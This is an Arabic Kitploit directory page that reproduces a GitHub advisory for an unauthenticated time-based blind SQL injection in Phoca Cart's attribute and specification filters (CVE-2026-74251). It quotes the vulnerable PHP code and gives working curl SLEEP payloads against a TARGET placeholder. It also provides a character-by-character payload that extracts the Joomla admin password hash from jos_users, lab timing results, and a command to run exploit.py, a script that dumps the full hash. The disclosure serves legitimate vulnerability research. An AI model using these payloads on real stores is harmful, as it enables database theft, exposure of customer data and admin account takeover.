Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/toanln-cov/cve-2026-74251
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتأمن الويبأمن قواعد البيانات
GitHubtoanln-cov/cve-2026-74251

CVE-2026-74251

ثغرة حقن SQL بدون مصادقة عبر مرشح السمات في Phoca Cart - CVSS 9.3

عرض المستودع
9منذ 23 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

حقن SQL غير مُصادَق عبر فلتر الخصائص في Phoca Cart

Phoca Cart ≤ 6.1.6 — مهاجم غير مُصادَق يستخرج قاعدة البيانات بالكامل عبر حقن أعمى قائم على الزمن

CVE CVSS v4.0 CWE-89 Affected Researcher


الملخص

يتم دمج وسيطي مصفوفة GET هما a[] (الخاصية) وs[] (المواصفة) في صفحة عناصر المتجر العامة في Phoca Cart خامًا داخل جُمل SQL WHERE دون وسم (parameterization) أو تهريب (escaping). يمكن لمهاجم غير مُصادَق حقن SQL عشوائي عبر هذين الوسيطين، مما يتيح استخراج قاعدة البيانات بالكامل عبر تقنيات الحقن الأعمى القائمة على الزمن.

توجد الثغرة في getSqlPartsArray() داخل . تستدعي الدالة قبل بناء قائمة لكنها لا تُهرب القيم الناتجة أبدًا — لذلك يمر الحمولة الخالية من الفواصل كما هي إلى استعلام SQL. وبما أن تُستدعى مرتين لكل طلب ( + )، فإن حمولة تُحدث تأخيرًا ملحوظًا قدره ثانية، مما يجعل اكتشاف التوقيت موثوقًا للغاية.

admin/libraries/phocacart/search/search.php
explode(',', $v)
IN()
getItemListQuery()
getTotal()
getItemList()
SLEEP(N)
2×N

الإصدارات المتأثرة

المكوّنمعرّض للخطرتم اختباره علىتم الإصلاح
Phoca Cart (com_phocacart)5.0.0 – 6.1.6Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache)6.1.7

تفاصيل الثغرة

النوع: حقن SQL — أعمى قائم على الزمن (CWE-89) المصادقة المطلوبة: لا شيء — نقطة نهاية متاحة للعموم الملف: admin/libraries/phocacart/search/search.php

السبب الجذري

يقرأ نموذج العناصر وسيطي a[] وs[] مباشرةً من طلب HTTP دون أي تنقية:

SITE/MODELS/ITEMS.PHP — LINE 92–93

root@kitploit:~
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET

تُمرَّر هذه القيم إلى getSqlPartsArray()، التي تقسم كل قيمة على الفواصل وتُدرج الأجزاء الناتجة مباشرةً داخل جملة IN() في SQL:

SEARCH.PHP — GETSQLPARTSARRAY() LINES 318–363 (VULNERABLE)

root@kitploit:~
foreach ($value as $k => $v) {
    $a = explode(',', $v);        // splits on comma — but does NOT escape
    $a = array_unique($a);
    if ($k && $v) {
        if ($searchArea == 'a') {
            // ANY method — $a values are NOT escaped before implode:
            $inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
                . '\'' . implode('\',\'', $a) . '\''   // ← raw user input injected here
                . '))';

            // ALL method — $v2 injected raw into double-quoted context:
            foreach ($a as $v2) {
                $inAS[$iA] = 'at2.alias = ' . $db->quote($k)
                    . ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
                $iA++;
            }
        }
        else if ($searchArea == 's') {
            // specification filter — same pattern, same flaw:
            $inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
                . '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
        }
    }
}

يُدرج الجزء الناتج من SQL في الاستعلام الرئيسي:

root@kitploit:~
a.id IN (
  SELECT at2.product_id FROM #__phocacart_attributes AS at2
  LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
  WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
  GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)

تطبق getActiveFilterValues() في filter.php الدالة filterValue($item, 'alphanumeric') على قيم a[]/s[] لطبقة العرض. غير أن getSqlPartsArray() تقرأ الوسيطات نفسها حديثًا من $app->getInput()->get('a', '', 'array') دون أي تنقية مطبَّقة، متجاوزةً بذلك حماية طبقة العرض بالكامل.


إثبات المفهوم

لا يتطلب أي مصادقة. عرض العناصر (/index.php?option=com_phocacart&view=items) متاح للعموم. لا حاجة لتكوين أي خصائص أو مواصفات في المتجر.

1. القياس الأساسي — تأكيد زمن الاستجابة الطبيعي

يمكن لمستخدم غير مُصادَق الوصول إلى بوابة التسوق دون أي بيانات اعتماد.

الوصول غير المُصادَق إلى بوابة متجر Phoca Cart التي تعرض قائمة العناصر

طلب خام تم التقاطه في Burp Suite — زمن الاستجابة الأساسي: 76ms.

طلب GET أساسي في Burp Suite إلى صفحة المتجر بزمن استجابة 76ms

2. تأكيد حقن SQL عبر التأخير الزمني — فلتر الخاصية (a[])

يُحقن حمولة SLEEP(3) عبر وسيط a[color]. وبما أن getItemListQuery() تُستدعى مرتين لكل طلب، فإن التأخير المتوقع هو 2 × 3 = 6s. الملاحظ: 7085ms — مؤكَّد.

root@kitploit:~
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"
# Result: 7.085s — CONFIRMED

# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"

Burp Suite تعرض حمولة SQLi بزمن استجابة 7085ms يؤكد مضاعفة SLEEP(3)

3. التأكيد باستخدام SLEEP(0) — استجابة سريعة

استبدال SLEEP(3) بـ SLEEP(0) يعيد الاستجابة فورًا (1064ms)، مما يؤكد أن التأخير ناتج عن SLEEP المحقون وليس عن ظروف الشبكة.

Burp Suite تعرض حمولة SLEEP(0) باستجابة سريعة 1064ms

4. استخراج البيانات حرفًا بحرف عبر مؤشر التوقيت (timing oracle)

استخراج تجزئة bcrypt الخاصة بالمسؤول بايتًا واحدًا في كل مرة. قيد حاسم: explode(',', $v) يقسم على الفواصل قبل بناء SQL — يجب أن تستخدم الحمولات SUBSTRING(str FROM pos FOR len) (صيغة كلمات مفتاحية ANSI) لتجنب اقتطاع الفواصل، وكذلك CASE WHEN ... THEN ... ELSE ... END بدلاً من IF().

root@kitploit:~
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match

PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"

curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=$PAYLOAD" \
  "http://TARGET/index.php"

تحقق معملي — أول 12 حرفًا من تجزئة bcrypt الخاصة بالمسؤول:

الموضعالحرفASCIIالاستجابةتطابق
1$36>6s✓
2250>6s✓
3y121>6s✓
4$36>6s✓
5149>6s✓
6048>6s✓
7$36>6s✓
8L76>6s✓
9N78>6s✓
10v118>6s✓
11t116>6s✓
.........>6s✓

البادئة المستخرجة $2y$10$LNvt... — يمكن استعادة تجزئة bcrypt الكاملة المكوّنة من 60 حرفًا في حوالي 240 طلبًا.

5. الاستخراج الآلي — تفريغ كامل لتجزئة المسؤول عبر سكربت الاستغلال

يستخرج السكربت المرفق exploit.py تلقائيًا تجزئة كلمة مرور المسؤول بالكامل دون تكرار يدوي، مستخدمًا التقنية الزمنية نفسها أعلاه.

root@kitploit:~
python exploit.py http://TARGET

مخرجات سكربت الاستغلال تعرض تجزئة bcrypt كاملة للمسؤول مستخرجة دون مصادقة


الأثر

  1. قراءة كاملة لقاعدة البيانات دون مصادقة — بيانات اعتماد مستخدمي Joomla (تجزئات bcrypt + رسائل البريد الإلكتروني)، وسجلات الطلبات، وبيانات الدفع، ومعلومات التعريف الشخصية للعملاء، ومفاتيح API المخزنة في قاعدة البيانات — كلها متاحة بالكامل لأي مهاجم غير مُصادَق.
  2. الاستيلاء على حساب المسؤول — استخراج تجزئة كلمة مرور المسؤول وكسرها دون اتصال يمنح وصولًا كاملًا لمسؤول Joomla، مما يتيح تنفيذ أكواد عن بُعد عبر رفع قالب أو إضافة (plugin).
  3. صفر متطلبات مسبقة — يؤثر على كل تثبيت لـ Phoca Cart — نقطة النهاية المعرَّضة هي صفحة قائمة المتجر العامة. لا حاجة لتكوين أي خصائص أو مواصفات. أي موقع مثبت عليه com_phocacart مع واجهة أمامية عامة قابل للاستغلال.
  4. إمكانية الكتابة على قاعدة البيانات — إذا كان محاكاة PDO في MariaDB تتيح الاستعلامات المكدَّسة (stacked queries)، يمكن للمهاجم تنفيذ جُمل INSERT / UPDATE / DELETE عشوائية، بما في ذلك إنشاء حسابات مسؤول جديدة أو تعديل سجلات الطلبات.

المراجع

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-74251
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-74251
  • GitHub Advisory: https://github.com/advisories/GHSA-wgm5-xp28-5cmg
  • Vendor Repository: https://github.com/PhocaDesign/PhocaCart
تنزيل الأداة